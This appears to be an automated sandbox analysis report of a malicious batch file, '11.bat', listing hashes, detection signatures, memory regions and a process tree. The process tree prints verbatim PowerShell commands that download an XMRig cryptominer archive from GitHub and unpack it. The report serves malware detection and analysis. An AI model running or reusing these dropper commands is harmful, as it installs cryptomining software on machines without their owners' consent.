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Analysis

  • max time kernel
    1563s
  • max time network
    1563s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    20/05/2024, 18:07

General

  • Target

    11.bat

  • Size

    599B

  • MD5

    798b979417aa88e5323ead9be2d8425c

  • SHA1

    a54c5133c71afddf697f302b36bdb930c72852ce

  • SHA256

    f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07

  • SHA512

    a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\11.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2972
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2736
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2016

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\L4YX4M220LH5Z525VGMH.temp

    Filesize

    7KB

    MD5

    54c30a7f4bfc3923df3c08ecf131daa5

    SHA1

    da59850b1a0baa782906f18941cd8a3c45ad4cd0

    SHA256

    33b592ca32fe1f395cc2b98d8077772848b1c6fac5424eae4d34a0cfebfb0f80

    SHA512

    871a36b2379d92a9ecb103bcd20a45b815878067a1743f0a6762b62b1b5ac1f7fcd19653348a9642d91f6faa933d63667954da7b835990bee982038ce0c94e3c

  • memory/2016-18-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

    Filesize

    2.9MB

  • memory/2016-19-0x0000000001F90000-0x0000000001F98000-memory.dmp

    Filesize

    32KB

  • memory/2736-4-0x000007FEF621E000-0x000007FEF621F000-memory.dmp

    Filesize

    4KB

  • memory/2736-5-0x000000001B730000-0x000000001BA12000-memory.dmp

    Filesize

    2.9MB

  • memory/2736-6-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-8-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-7-0x0000000001F50000-0x0000000001F58000-memory.dmp

    Filesize

    32KB

  • memory/2736-9-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-10-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-11-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-12-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

    Filesize

    9.6MB